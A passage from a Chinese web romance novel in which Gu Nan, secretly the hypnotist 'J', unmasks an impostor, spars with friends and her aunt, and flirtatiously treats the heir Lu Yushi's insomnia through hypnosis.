“J凭什么要听你的!如果随便一个人都出来冒充J的身份,难道J还要一个个和他们比较吗。你是不是想偷师?”
顾楠磨着后槽牙:“你闭嘴。”
身侧燕姐拉住她的衣袖,眼神震惊仿佛在说:“你在胡说什么,我是假的,怎么比。”
顾楠口型比划:“你也滚。”
“J”双臂在胸前交叉,居高临下看向燕姐:“当然可以。”
燕姐立马坐直身体,冷漠抬眸,只有心里知道自己到底有多慌。
全靠口罩遮脸,替她挡住做假的不安。
“J”看向陆御时,眼神专业:“您看起来至少有五年时间受失眠困扰。”
话语伴风落在在场众人耳中,陆御时目光沉寂,几乎审视的视线让“J”低下头去。
四周凝固,不闻风声。
许久,久到“J”手心布满冷汗,陆御时才嗓音低沉“嗯”了一声。
“J”肉眼可见长松一口气。
但也没松多少。
“我和J五年前认识,至今保持每月一次的远程催眠。”陆御时嗓音清冽。
顾楠愣了下,随即腹诽,胡说八道。
“J”反应很快,双手交叠搁在腹部,大方接话:“是的陆先生,您的情况很糟糕,完全治愈还需要一段时间。实在抱歉因为有人冒充我的身份而耽误您的时间。”
燕姐:“这就认下了?明明是我……”
顾楠忙回头递过去眼神。
陆御时薄唇启合:“你什么?”
他面容平淡,扫过来的视线却压迫感十足,如鹰隼般眼神仿佛可以击溃所有谎言。
顾楠眼珠转了转,用身体挡住两人视线:“她说,她去年接到陆先生的单子,一共远程四次。”
她瞧陆御时反应,陆御时同样盯着她沉默。
周身暗流攒动。
呼吸声加重。
她不自在地摸了下鼻尖,长垂眼睫挡住眸光一丝精光,清清嗓子,扬声问燕姐。
“他看我的眼神,是不是对我一见钟情。”
燕姐满脸复杂,嘴角翕动,不言而喻。
顾楠甩了下头发,精致的五官揪起,佯装震惊:“有人对我一见钟情很意外?”
苏迪:“你……”
陆御时:“都是假的,没远程过。”
说完,转身要走。
在场三人皆愣。
顾楠盯着他的背影,眸光意味不明。
苏迪呆了下,动作比脑子快一步,伸手拉住陆御时衣袖。
没等开口,注意到陆御时脸上冷沉,忙松手,指着“J”道:“师哥,她是真的,我看过……”
陆御时垂了下眼睫,整张脸写满不悦,压得人大气不敢喘。
他下颔微微扬起,视线扫过两位“J”,在苏迪脸上短暂停留,最终落在顾楠身上,冷冰冰抛出四个字:“最后一次。”
顾楠指了指自己,“我?”
她缓了下笑容,眨眨眼:“那我也最后问一遍,要加我的联系方式吗?”
陆御时平淡看她一眼,转身离开。
燕姐从后面走过来搂住她的肩头,促狭笑:“被拒绝了。”
发动机轰鸣声极浅,连号卡宴扬长而去,直到车子消失在视线内,顾楠没所谓笑笑,嘴角一抹嘲弄:“这样的玩起来才带劲。”
下次,她的联系方式就不会那么容易说出口了。
“最后一次什么意思,你认识他?嘶,他姓陆,不会是陆御时的陆吧?”
11. 放走
话落,“J”怔住,眼珠左右转动,口罩挡住她大半张脸,口罩下,唇上毫无血色。她顿了下,拿包就走。
顾楠懒洋洋抬眼,在她身后喊:“站住。”
“J”脚步不停,路过苏迪时轻啐一口,眼看就要走到门口。
“我数三个数,”顾楠不紧不慢起身,慢悠悠往门口方向走,“1……嘭。”
“啊!”
“J”应声倒地,后腰衣服上脚印明显,“J”撑着起身,拍打衣服灰尘,抬头怒目圆睁。
燕姐目瞪口呆,呆呆说:“说好三个数呢。”
顾楠朝“J”所在方向努嘴:“她没同意。”
燕姐:?
同意什么?同意你踹她?
安全起见,燕姐吞了口唾沫,没问出口。
顾楠没事人似得提膝将人踹倒,慢吞吞蹲下,手指勾住她的下巴,迫使她抬头对视:“为什么冒充J。”
“谁说我是冒充的?”
顾楠牵起嘴角。
……因为我才是真的。
“谁知道姓苏的从哪里扣出来的师哥,他说不是就不是?”
顾楠真心想劝,苏迪的师哥你得罪不起。
偏头瞥了眼还在发呆的苏迪,压低声音:“让我猜猜,你骗了她多少钱。”
“J”直视她:“骗?”
顾楠颔首,又摇头:“不,凭本事挣钱。”话锋一转,“但挣她的钱,说实话,挺没本事的。”
是个人都能过来骗苏迪一回。
也不知道苏迪怎么活到现在的。
“或者你把赃.款分我一半,我放你走。”
“J”双眉凝起,瞳孔疑惑。
顾楠挑眉,正要再说什么,“J”拉住她的胳膊骤然发力。
身体不受控下坠,她脸上依旧堆着笑,伸脚勾住“J”的小腿,很快维持住身体平衡。反观“J”为了不让自己摔下去,只能松开拉住她的手。
她低头,耐心抚平衣服褶皱。
下一秒,“J”不死心再次动手。
顾楠游刃有余和她打了几个回合,拳拳到肉,始终占上风的人却在最后一击歪了半个身形,“J”趁势逃跑。
“哎!”
燕姐唤了声,追到顾楠身边:“你为什么放她走?”
顾楠看傻.逼的眼神看她一眼,低头拍打身上灰尘:“不明显吗?我没打过。”
燕姐:……
“你要脸吗?昨晚谁在拳击馆把我们省联冠军打趴下的。”
春风徐徐拂面,顾楠将被风吹散的碎发别到耳后,注视“J”离开的方向,叹息:“看来要不太平了。”
燕姐面色一紧:“出什么事了?”
顾楠偏头,一脸高深莫测:“都在问我要不要脸,我寻思,谁会要那玩意,说不定是什么神秘组织想拉拢我。”
……
耳边终于安静,顾楠眉眼弯了弯。
气定神闲坐回座椅,身体懒洋洋倚着座椅靠背,她一手支着下巴,慢悠悠抬眸,屈起食指敲敲桌面,吸引苏迪目光。
“你被骗了多少钱?”
苏迪使劲吸吸鼻子,冷哼:“做什么?”
顾楠笑眯眯吐出三个字:“嘲笑你。”
边说边倾身抽出两张纸巾递过去。
微风漫过,揉皱纸巾边角。
苏迪恶狠狠瞪她一眼,看着纸巾在空中漫舞,不肯接过,重声:“不用你猫哭耗子。”
“嗯?我没哭吧?”顾楠无辜摊手,面向燕姐索要认同。
“你做个人吧。”燕姐白她一眼,俯身抽出纸巾递到苏迪手上。
苏迪顺势握住燕姐,双眼一眨不眨,问:“你是J?”
燕姐:?
“你怎么收费?”
燕姐:??
顾楠砸吧下嘴,起身,走到苏迪跟前,不由分说夺过她的手机,低头看了眼,举起手机,屏幕正对苏迪。
“抬头。”
苏迪一时没反应过来,愣愣抬头。
手机解锁,顾楠手指飞快点了几下,很快桌面多了一个反诈APP的图标。
她把手机塞回苏迪手里,郑重劝:“手机可以丢,APP千万不能卸,它比你重要,明白吗。”
空气凝固几秒。
“神经病啊。”
苏迪跺脚瞪她一眼,抓着手机跑开。
顾楠注视她的背影,又看了眼手中没送出去的纸巾,瞥见角落简易猫窝,迈步过去,俯身,丢进纸巾,一本正经:“擦擦脸。”
猫咪从猫窝探出头:“喵?”
“说你呢,擦擦脸。”
燕姐:……
她眼珠转了转,走过去,再次追问:“是陆御时的陆吗?”
顾楠想了下:“百家姓的陆。”
“你认识?”
“不认识。”
燕姐再次没忍住大翻白眼:“不认识他为什么要对你说“最后一次”?”
“看不出来吗?他对我有兴趣。”顾楠理所当然地口吻,“可能是想说些莫名其妙的话吸引我的注意。”
燕姐抿了下嘴唇,嫌弃:“求你了,你内耗点吧。”
“你这是嫉妒。”
傍晚的咖啡馆送走最后两位客人,两人边拌嘴边走出大门。
顾楠慢后一步,低头给万易回消息,在燕姐回头前收起手机。
门前不好打车,她们慢悠悠并肩走向街角。
骚粉色跑车比出租车快一步到达。
汽车刹停,车窗落下,一双桃花眼明亮招摇。
“楠宝……”
“滚。”堵住他后半句话。
万易瞥见她身侧燕姐,张了张嘴,最后只默默:“没礼貌。”
说完,他扭头对中央后视镜整理发型,嘴角弯出标准笑容,再次歪头看向燕姐:“嗨喽大美女,成年没,方便加个联系方式吗?”
顾楠面无表情:“三秒钟,离开我的视线。”
“一会来接你。”
跑车扬长而去。
被夸年轻,燕姐脸上堆满笑,目送跑车渐渐离开视线,随口问:“你朋友?做什么的?”
“开网约车的。”
燕姐长吸一口气,直视她的眼睛,满脸复杂:“我不认识人,我还不认识车?那是911,你觉得会有人用911开网约车?”
顾楠神色自若:“不要以貌取人…哦不,取车。”
燕姐啐了声,叹:“还挺帅。”
顾楠抿唇移过视线:“有时间去看看眼。”忽想到什么,放声笑道,“正好带他一起,也不知道两个人组团能不能便宜点。”
…
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…
燕姐没好气地白她一眼。
“你如果看上他,我笑话你一辈子。”
“怎么办,我好像心动了。”
“心动和心悸是两回事,明天给你请个专家。”
燕姐被她怼得没脾气,扭头不再看她,往前走两步,若有所思回头:“我好像在哪见过他,感觉很面熟。”
“你炒板栗吗?看谁都熟仁。”
……
燕姐握了下拳头:“别送了,滚吧。”
顾楠乐颠颠看人上车,车子离开,她脸上笑容也一并淡去,拿出手机给万易发消息。
【走了。】
911倒停在她面前,副驾驶车门仆一打开就听万易絮絮叨叨。
“不是说了让你别打陆御时的主意?我没有吓唬你,当年有人假扮过他的未婚妻。”万易压了压声音,“后来有人亲眼看到那个女人流浪在国外的街头,据说特别惨。”
顾楠嗤了声,脊背后仰,双手放在脑后枕着,目视前方,长睫微垂,遮住眸底意味不明。
“你知道的,我们的关系只有相安无事的时候才铁,如果陆御时对你动手,你出事,我肯定第一个跑路,别指望我会救你。”
顾楠复杂平移过视线,嘴角没控制住抽动几下。
“真的。”
顾楠:“我一定和你做一辈子朋友。”
万易往一旁斜了下/身子,嘴角弧度压了几次都没压下去,他转过头,装模作样摆手:“我会考虑。”
“等你老了,我卖你保健品,估计能靠你发一大笔横财。”
“你大爷的!”骂完还是忍不住劝,“陆御时真没有你想象中那么容易对付,陆家老爷子膝下六个儿女,唯独讨厌陆御时的父亲。但孙子辈13个孩子里,偏偏选了陆御时做继承人,你猜他手段怎么样。”
话音渐渐落下,车内就此安静下来,趁等红灯空隙,万易偏头瞧了眼顾楠,只见她阖着双眸不知是困倦还是假寐。
窗外太阳完全落下,天边不见日月与星,只剩灰蒙蒙的白。
路灯还未到开灯时间,大路宽阔,放眼望去,一望无际的暗席卷万物。
他第一次认识顾楠是在拳击赛后台,顾楠脾气霸道,满脸嚣张跋扈,若不是身材起伏明显,他甚至怀疑过顾楠的性别。
慢慢的,两人关系越发熟稔,他也默认了顾楠张狂倨傲。
此刻看她闭眼小憩,竟意外地瞧出几分沉稳持重?
“嘶。”
红灯最后一秒,万易摇头,收回视线,心道,一定是没开灯的缘故。
比起相信顾楠沉稳持重,他宁愿相信陆御时温婉居家。
“呃。”
陆御时温婉居家?
一个比一个离谱。
“你练口技呢?”顾楠睁眼,出声嫌弃,“怎么说,知道自己能力有限,打算下次拳击比赛靠口技吓死对手?”
万易撇嘴,腹诽,去他大爷的沉稳持重,他是有多眼瞎,能把顾楠和这四个字联系在一起。
“下周三拳击比赛你去吗。”
顾楠平视前方,声音没有起伏,嘲讽:“让我帮你收尸,还是帮你看伤?”
……
手机震动了下,顾楠低头,久违的佛手头像。
【对方问你下周三有时间吗?】
12. 请柬
半小时后,跑车停在涵瑾公馆门口。
路旁站着一位中年女人,女人神情焦躁,四处张望,对着路边出租车频频招手。
晚风欲多留她须臾,轻轻拉动她的衣裙,品蓝色长裙裙角翻飞,如同翻滚的浪花囿于街道。
顾楠诧了下,摆手示意万易离开,她快步迎过去:“不是说了我去接你。”
“呼。”
顾淑萍闻声回头,看她身体无恙不由长舒一口气,眉眼终于疏解几分。
没等顾楠开口,顾淑萍又拉过她的手,抬起她的双臂,上下打量,边道。
“小纪前几天和我说北城陆家那位少爷过来了,还说你与陆少有过节,让我劝你去国外躲一躲,出什么事了?”
顾楠蹙眉:“他没告诉你没事了吗?”
“说了。”顾淑萍叹了口气,揉她手背,“你太容易冲动,我不放心。”
顾楠回握住顾淑萍的双手,安抚道:“别听纪元宇胡说八道,猫抓耗子他都能描述成猫鼠大战三百回合,以后不用理他。”
“小汐…”
“舅妈。”顾楠忽止步,少见的严肃:“我叫顾楠。随您的顾,槠楠无冬春的楠。”
话落,顾淑萍脸上表情凝滞,良久,缓缓摇头叹气,抬手在顾楠手背轻拍,没接话。
一时沉默,回家的路只余脚步声。
推开篱笆栅栏门,晚风忽起,赠来几缕茉莉芬香,散去两人周身气氛低沉。
“楠楠。”
“嗯。”
打开门,屋内摆设与顾淑萍走前原封不动。
沙发上的毛毯明显没有被人打开过,连棱角都未动分毫。
顾淑萍嗔怪地回头瞪了眼顾楠,顾楠喜欢在沙发小憩,她怕顾楠睡着后会冷,又怕顾楠懒得上楼拿会冻感冒,特意拿一条毛毯放在那。
沙发旁桌角花瓶茉莉她走前新换过,现下已经干枯,往下地板盆栽内植物营养土也都显出了裂纹。
除此之外,一应家具皆蒙上薄薄一层灰尘。
眼角余光瞥到没套袋子的垃圾桶以及空荡荡的饮水机,没忍住轻斥:“你怎么住的?”
她在玄关处犹豫片刻,放弃换鞋。
四目相对,顾楠心虚地别开视线,碰了碰鼻尖:“就回屋睡个觉,唔……这不能怪我,我在楼上住,楼下是警长的地盘。”
一只黑白花相见的小猫扯着嗓子从飘窗后跑过来,嘴里喵喵喊叫,边伸爪子扒拉顾淑萍的裤脚。
顾淑萍弯腰将猫儿抱起来,笑骂:“警长只有八斤,背不动这么重的锅。”
顾楠俯身冲警长龇牙咧嘴,惹得警长大叫一声,逃之夭夭。
“你呀。”
顾楠学着警长的样子,伸手拉住顾淑萍袖口:“该宠/幸我了,我要吃糖醋小排。”
“好。”打开冰箱。
空气再次诡异般安静下来。
“呃……”
“这盘饺子,我应该见过它发霉之前的样子吧?”
顾楠火速把发霉的饺子端出来,吩咐警长叼过来垃圾袋,盘子和饺子一块丢进去打包,顺便赶走警长。
“不,你认错饺子了。”
她眼珠咕噜噜转了一圈,神秘兮兮拉着顾淑萍后退两步,低声在她耳边告状:“警长不知道什么时候添得新毛病,喜欢拔插头。”
顾淑萍嫌弃瞥她,明显不信。
“我白天出去,它就把插头拔了,等我晚上回来再插上,折腾个三五回,饺子就坏了。”口吻无奈,仿佛深受其害。
“那你能解释一下,为什么盘子的摆放位置和我走前一样吗?”
“警长想你了。”
?
“它都会拔插头了,开门摆个位置还有难度吗?”
顾淑萍复杂道:“我算是明白了,你当初为什么死活要养警长。”
顾楠郑重:“警长不能留了,每天就知道拔冰箱,还有盯着鱼缸里……额,惊喜吗?舅妈,你的鱼全部学会仰泳啦。”
顾淑萍顺着她的视线回头。
鱼缸水平面飘着一层鱼,假山海藻造景干巴巴摆在水底,她扶额:“你再多说一句话,今晚就没有糖醋小排了。”
“糖醋小排做错了什么。”见顾淑萍佯怒,顾楠举手投降,“我去买菜。”
转身离开她好不容易堆起来的其乐融融氛围的房间。
哄舅妈开心,她手到擒来。
也乐意把最好的一面都在舅妈面前展现。
楼下就是超市,超市大姐热情招呼顾楠,“楠楠,你舅妈回来啦。”
顾楠不解:“你怎么知道?”
超市大姐打开袋子:“没有烟哦。”
一石激起千层浪。
自听到那句“小汐”起,她无数次伸手进口袋,又无数次紧握口袋里的烟盒。
她答应过舅妈戒烟,不会在舅妈面前拿起烟盒,烟瘾强压到现在,有了口子便无法坚持。
迈步拐进吸烟室,隔壁大哥好心借火,她深吸一口,缓缓吐出,眉头没有疏解,脑子里的那根弦松开几寸。
吸烟室没有开窗,缭绕的烟雾仿若仙境,片刻神游。
忽听大哥惊呼,回神才发现烟已经烧到底部。
摁灭烟蒂,拿起手机发消息。
【查一下我舅妈在北城都去过哪里,见过谁。】
出门,换上笑脸。
超市大姐絮絮叨叨:“早知道我说那话能勾起你的烟瘾,我就是把嘴缝上也不能说哇。”
顾楠笑笑,拎过袋子,发觉沉了不少。
超市大姐丝毫不藏着掖着,爽朗道:“正好你去吸烟,我帮你把排骨都剁成小份了,省得你们回家麻烦,还有老抽和生抽,我记得你舅妈年初买的,这次应该不够用,冰糖和配料也给你添了些。”
顾楠拿出手机打算付款,想了下,又放回去。
超市是小本生意,别人的两斤排骨不会有这么大份量,更会帮忙切块添配料。
想当初,她们初到浔城,经常得大姐照顾,后来大姐被小混混骚扰,她帮大姐打走小混混后,大姐更是开始格外优待她和舅妈。
她咧嘴一笑:“谢了,你别做晚饭了,我一会给你送点。”
大姐不扭捏:“行。”
拎着足足沉一倍的购物袋回家,舅妈已经将房间收拾好,见她回来,慈祥道:“你回屋休息吧,一会就好。”
顾楠口头应下,身体没动,倚在厨房门口,单腿撑着身体,注视舅妈背影,长睫微微垂下,盯得入神。
顾淑萍打开油烟机,回头看她一眼,笑道:“怕我偷吃?”
“我帮你看着警长。”
顾淑萍随手将碎肉撒下一块喂给警长,说:“警长才不会偷吃,倒是警长的主人不好说。”
顾楠用脚驱逐警长,含笑走过去:“点我呢?”
“怎么会?专门给你做的,警长只能吃边角料。”顾淑萍笑眼盈盈,皱纹在她眼角深刻。
手机屏幕亮起,顾楠瞥了眼,脸上笑容僵了一瞬,她无声深喘一口气,从顾淑萍身后拦腰搂住她,侧脸贴在她的脊背,低声:“舅妈,再等等,很快我们就能回北城了。”
厨房热气氤氲,砂锅咕嘟咕嘟冒泡,白噪音扰人,听不见回答。
大约顾淑萍也没听清她的低声。
糖醋小排同样失了味道。
手机屏幕亮起又暗下。
【林家举办收徒仪式,阿姨在门口站了许久。】
【不过你放心,林家家主没到场,几个小辈都不认识阿姨。】
她心里默念:“林建业。”
——
“林建业?”邱景循摩挲手中大红色请柬,不解,“他为什么会觉得他配给你发请柬?”
北城五大世家,陆家属第一,沈家第二,再往下算到头也看不到一个林字。
不过在世家大族排不上名,在北城圈子里倒有不少人追捧。
邱景循冷嗤,世家大族手段狠厉都是稀松平常,但阴损下作的人他们不屑为伍。
陆御时抬了下眸子,偏头问管家:“去看看J来了吗?”
管家离开,房间只剩两个人,陆御时回道:“林建业的小儿子在和沈家大小姐谈恋爱。”
“沈家真是不怕死,林建业的德行能养出什么好儿子。”邱景循讥讽,“欺师灭祖的东西。”
“咚咚咚。”
敲门声打断邱景循的谩骂,他看了眼闭眼假寐的陆御时,扬声:“进。”
顾楠身穿棒球服,一副宽大的墨镜挡住半张脸,丸子头团得乱七八糟,大摇大摆从门口走进来,不见外地紧挨陆御时坐下,拍他肩膀。
“大兄弟
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,最近怎么样?”
邱景循目瞪口呆,一个箭步把人拉起来。
顾楠:?
“先来后到,如果有需求,加钱可以摆平一切。”
“你知道他是谁吗!”
顾楠摩挲下巴,咂巴嘴道:“上次证实过了,不是哑巴。”
“他是……”
陆御时淡淡看过来一眼,邱景循话到嘴边又紧急咽回去。
顾楠看两人互动,勾唇淡笑,没等开口视线落在桌上翻开的请柬上,微微僵住,很快调整唇角弧度,念:“家父林建业……林家人。”
邱景循忽拔高声音:“你别侮辱人!”
“林建业踩你肾了?不是就不是,激动什么。”
“谁会想和林家同流合污,老天怎么没给道雷劈死他。”
顾楠笑:“没想到你还挺有正义感,看在咱俩三观相同的份上,我给你加个塞。”
邱景循瞥了眼陆御时不悦的脸,连说不用,推门离开。
房间门关上,顾楠呼了口气,回头:“好久不见。”
“不是才见过么。”
音落,掷地无声。
陆御时好整以暇移过视线,直视她的双眸,那双眼睛仿佛添着利刃,划破所有有形、无形的阻隔,直达对面人的心底。
心底无来由震颤,顾楠抬手摸了下鼻尖,恍然:“哦对,也不知道那人是谁,竟敢假扮我的身份,太过分了。”
陆御时低笑一声:“怎么,你打不过她?”
却见他眼神清明,眸中并无愉悦之意,棱角分明的脸庞因嘴角弧度仿佛又添春意,晨光在他身后漫步,他坐在那清冷贵气又悠然自得,不费吹灰之力便能掌控局势。
房间微有布料摩擦声,顾楠暗忖。
淡定。
越迷人的越危险。
越危险的越不能轻易靠近。
不过,可以先尝尝鲜嘛~
顾楠起身,缓缓走向陆御时,在他身前站定,居高临下低头看他,叹息。
“君子动口不动手,谁让我是好人呢。”
她边说边俯身,两人气息交融,她脑海天人交战。
要是吻下去……
脑海两个念头还没分出胜负,陆御时突然发力,片刻失力,两人位置颠倒,陆御时摁着她的肩头,垂眸凝视她的脸。
丸子头彻底散下来,一半被她压在脊背,另一半落在肩头,勾勾缠缠绕着陆御时的手。
头发没有温度,她偏过头,肩颈压住陆御时的手,体温传递。
“我不介意哦。”
“我说过,最后一次,你最好别太过分。”陆御时冷眸微眯,眼神锐利,口吻警告,“不管你是什么目的。”
顾楠比了下自己身材凹凸,“你是在侮辱我,还是那方面不行?”
陆御时松开她,面对挑衅无动于衷:“你应该听说过有人假扮我的未婚妻,也应该知道她的下场。”
顾楠撇嘴,默默整理衣服,腹诽,有没有可能那个人就是我呢,除了得到很多很多好处外,没有任何后果。
这么看,陆御时还得算是她的福星。
小福星生气怎么办,只能哄。
“从进门开始,你就一直盯着我,谁知道是不是对我意思。催眠师的工作不比旁的,我需要你完全信任我,跟着我的指引一步步挖掘你脑海深处的东西,分辨出哪些东西才是真正影响到了你的潜意识。如果你不信任我,我没办法对你实施暗示,或者说,即便实施成功,也达不到我想要的效果。”
她说完,房间静了下来。
陆御时黑眸沉沉,阳光在他身后,光芒他身上渡下银环,与他周身冷漠融为一体,如同蜡炬融冰。
“我会信任你。”
顾楠打了个响指:“但这就涉及到了另一个问题。”
陆御时微微眯眼,似是不悦她没完没了。
她无所谓笑笑,不紧不慢说:“过度崇拜催眠师会有很大的副作用,比如无法适应现实生活,容易对催眠师移情等等。你知道的,被人喜欢这件事,会给我带来很大的烦恼。”
她直视陆御时,那张古井无波的脸上好像有一点松动,像是被气的。
陆御时表情恹漠,轻掀眼皮:“我们之间,你不会有这种烦恼。”
“话别说太满哦。”顾楠摘下墨镜。
13. 催眠
六月天气反复无常,那边日头高升,云下竟淅淅沥沥飘起雨丝。
雨丝成串打湿檐下芭蕉,花朵在芭蕉叶下迎风飘摇,远处,荷塘内红鲤躲在碧莲下,咕噜噜吐泡泡。
窗内,熏香丝缕上升、白烟袅袅,床上的人神情放松,双眸轻阖,似在做一场久违的美梦。
茶桌前,第三次响起烧水声,顾楠手托下巴,百无聊赖盯着陆御时发呆。
算算时间,也该醒了。
“喂。”
无人应答。
她坐得累了,起身舒展身体活动筋骨,抬头望天。
乌云完全遮住太阳,青灰色的银幕坠下细密堪比丝网的雨水,绵绵不断又飘飘洒洒。
窗前便是小花园,夏季正是百花争艳的时候,红的黄的紫的簇簇相拥,叠在一起,哪怕不近前,便也好似嗅到花香。
微风一过,枝头乱晃。
雨珠在花朵短暂停留,颗颗晶莹,粒粒饱满。
很快珠水汇聚,花瓣不堪重负,一股脑倾倒,仿佛怒恼了花中仙子。
顾楠不喜欢雨,也不喜欢花,她收回视线,垂眸打量沉睡的人。
一时算不清这是第几次见面。
男人皮肤很白,偏病态的白,眼底一丁点乌青都在肌肤下暴露无遗,但他的皮肤又似乎很好,长久的睡眠困难也只是在他眼底留下了一点乌青,刚好被垂下的细密睫毛挡住。
同样挡住的还有一双幽沉的眼睛。
那双眼睛揣着看透人心的睥睨与高高在上的薄凉。
是顾楠很讨厌的眼睛。
她手撑下巴的姿势维持许久,方觉吃力,放下胳膊,脑袋抵在小臂处,默默观察。
看不到那双眼睛,整张脸的完美程度堪比璞玉。
他面容俊逸,鼻梁高挺,嘴唇微有血色紧紧闭合,弧度好看,却又较下颔骨的完美程度逊色几分,锁骨下胸肌被衬衫紧紧包裹,莫名添些性.张力爆满的欲.色,使得因呼吸而不明显的胸膛起伏多加其他意味。
再往下,腰腹平坦……
顾楠咽了口唾沫,阖上眸子。
助眠熏香在此刻将次作用发挥到极致。
天边乌云消弥,太阳独占鳌头。
雨歇之后,鸟啼虫鸣。
阳光洒下大片金黄,透过窗子落在陆御时的侧脸,他睫毛轻颤。
许久,缓缓睁眼。
一场雨没能削弱暖阳半分热量,耀眼光辉顺着茶桌腿爬上顾楠的侧脸,她睡得很安稳,头发散开,光芒将其染成金色,沉睡的模样仿佛悯怀苍生的仙姬。
陆御时指尖动了下,放弃起身,静静注视趴在桌边沉睡的女人。
见多了她玩世不恭,也不诧异这副安稳恬静。
书上写,催眠术能够成功,本质就是靠催眠师的意志去战胜受术者的意志。
催眠过程中的很多事情他都不记得了,但临睡前,他忘不掉那双眼睛里的镇静与包容,仿佛世间万物所有黑暗都能被宽恕。
她有条不紊引导他放松身心,一步步击溃他的心理防御机制。
催眠开始前,顾楠说需要他的信任,但这个女人似乎有魔力,他突然不确定,到底是他自愿开放潜意识,还是顾楠的诱导太成功。
不过,他听说,催眠师有很多办法让受术者对其产生过度依赖,从而达到某种不可告人的目的。
普通催眠师尚且有这样的本事,何况是她。
客卧静悄悄的,只有阳光驻足少顷,慢慢溜走。
光线划过顾楠颈间鱼骨链,霎时光芒四射。
他目光久久未能移开。
香薰炉最后一缕淡白色散尽,顾楠睁眼,四目相对。
“爱上我了?”
……
“感觉怎么样?”
陆御时起身,在顾楠炯炯目光下穿上外套,系上扣子,成功得到一句低喃。
“小气鬼。”
“我不记得催眠过程中发生了什么,但睡得很舒服。”陆御时顿了下,又说:“谢谢。”
顾楠翻了个白眼。
口头说着谢意,身体上防备的什么似的,多看两眼都要赶紧穿衣服,一点没诚意。
她没吭声,环顾四周照镜子,嘴巴叼着发圈,随手扎丸子头,越扎越丑,为了避免在陆御时面前和自己的头发干起来,索性放弃。
“我还需要催眠几次?”
“很多次。”顾楠心情不爽,撇了撇嘴,迎着他疑问的目光一本正经胡说八道,“初步断定,你是巴乌特症候群。”
“巴乌特症候群?”
“一个心理学概念,主要表现是...”顾楠目光在他身上流连,从上到下,“前期表现为对性.生活没有兴趣,严重的话可能会丧失某部分功能,我看你就很符合,并且差不多快走到晚期的程度了。”
说完,顾楠慈祥地看着陆御时笑,半晌只得到一个平淡的眼神和丝毫没有被唬住的表情。
她自觉无趣,暗想,还是万易好玩,如果现在她面对的是万易,大概率会收获一位死心塌地的忠仆。
“最少五次,你的失眠症已经持续八年了,不可能毕其功于一役。”
“嗯。”陆御时看她一眼,欲言又止,“你……”
“嗯?你这是什么表情?就算你想和我发生点什么,价格肯定不会再优惠了,你的情况很麻烦,我不可能再便宜,这个没得谈!”
陆御时看起来面容有点复杂,像是嫌弃:“不会少你的。”
“哦。”顾楠背着手往前走了两步,忽抬头,眼睛闪着光:“那难道真对我移情了?这么依赖我,还舍不得我走。这五次的时间线拉长,万一将你对我的“移情”进一步加深,唔,你让我很难办啊。”
陆御时盯着她看了许久,才说:“你经常遇到这种情况吗?”
“什么?”
“受术者对催眠师移情。”
顾楠促狭一笑,走到他身前,低头直勾勾看着他,轻声:“你是要一个答案,还是要一个机会?”
“是怀疑你的专业水平,一个好的催眠师应该会避免出现这种情况。”陆御时声音平淡。
顾楠摊手:“个人魅力太大,难免会出现不可控,我这人刚好对帅哥没什么抵抗力。”
“来者不拒?”
顾楠神秘笑笑,没点头也没否认。
“催眠状态是在剥夺受术者意识的状态下进行的,我不否认催眠师需要诱导出受术者隐私的合理性,但在受术者被剥夺意识状态的情况下,强行介入催眠师的思想,让受术者对催眠师产生过度依赖,我并不觉得这是一名合格的催眠师应该做出的事情。”
“哦,”顾楠一语点破他言下之意,“你怀疑我在催眠的时候给你灌输你爱我的潜意识?”
得到一个肯定的眼神,她大度地拍拍陆御时的肩膀,微微俯身,紧贴在他耳边
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低声,“被人喜欢是件很麻烦的事情,我比较享受单纯肉.体的欢.愉。”
说完她偏头直视陆御时,猛然靠近,目的地似乎直奔那双湿润的薄唇。
陆御时微微偏了下头,躲开她的靠近。
顾楠莞尔,越过他,拿起放在他身后的墨镜,举到他面前示意他看。
“还有,你太自信了,我只是调.戏你,没有更深一步的想法。”
银铃似得笑声回荡在客卧,顾楠丢下一句:“放心,我们会对所有受术着的隐私守口如瓶。”
以此证实,她听懂了陆御时的欲言又止,也大方承认所有的故意曲解都是为了“调.戏”两个字。
不管身后的人是面无表情还是羞愧难当,她嘴角勾着笑,拉开门,邱景循敲门的手僵在半空,看到她微微愣住。
“好巧,要催眠吗?今天心情好,买一赠一。”她回头看了眼陆御时,扬声,“不过,我不接受太自恋的失眠患者,你应该不会吧。”
“什么?”邱景循不明所以,问出心中原本的诧异:“原来是你……纪元宇的女朋友。”
……
胡说八道。
顾楠脸上笑容戛然而止。
“太遗憾了,我只能帮人催眠,没本事给人治眼瞎,你自己请个专家吧。”
“啊?”邱景循看着她离开的背影满头雾水,收回视线,房间内陆御时的表情也算不上有多美好。
“你把她怎么着了?”
“她是纪元宇的女朋友?”
两人同时开口,邱景循回手指了指顾楠离开的方向,呆呆道:“看她的意思,好像不是。”
陆御时依旧盯着他,邱景循无奈:“就那天在铂爵餐厅,纪元宇看她的眼神可不清白,甚至为了她不惜和咱们作对。”
“那她呢?”
邱景循更懵:“她什么?”
“我艹!”邱景循一拍脑门,“你师妹好像被她坑了。当时吃饭她和你师妹打赌,谁先找到J,新时报副总裁的位置就是谁的,我答应了。”
“感情她出老千!扮猪吃老虎?”
陆御时无意接话,收回视线,偏头看向身旁助理,问:“还没查到?”
助理擦了下额角不存在的虚汗,低头说:“一开始找到了一点线索,后来不知道怎么回事,线索断了,之前找到的东西也都凭空消失。”
“顾楠呢?”
“小时候出生在浔城乡下,家人出车祸去世后,跟着舅妈生活。”
“始终在浔城?”
“是。”
话音落下,没有追问。
助理悄悄觑陆御时神色,只见他冷着脸,明显对这个结果不满意。
房间静得令人心慌,助理使劲低着头降低自己的存在感,大气不敢喘,终于在他感觉自己快要憋死的时候,陆御时开口。
“和纪元宇约一下,我们明天去新时报。”
邱景循忙起身拒绝:“别,我过去吧,你后面还需要顾楠帮你催眠,万一让她知道你给纪元宇施压,帮助苏迪坐上新时报副总裁的位置,她蓄意报复怎么办?”
-
20公里外的涵瑾公馆,顾楠抱着警长打了个大大的喷嚏,她戳着警长的脑袋问:“是不是你在骂我?”
手机铃声乍然响起。
“陆御时要来新时报,点名要见你。我给你买了机票,你快收拾东西,我马上接你去机场。”
14. 象棋
对于纪元宇坚持送她出国的想法,顾楠表示可以理解,但实在没办法苟同,她凝目询问:“我见不得人?”
纪元宇解释:“陆御时的助理刚刚联系我,他们明天要来新时报。我旁敲侧击问过,他嘴很严,不肯说为了什么事,只说要见你,万一是为了当年……”
剩下的话,顾楠听得耳朵都起茧子了。
她百无聊赖拿起警长的爪子把玩,耐心把警长费劲舔顺得毛逆着纹路扶正,打断纪元宇。
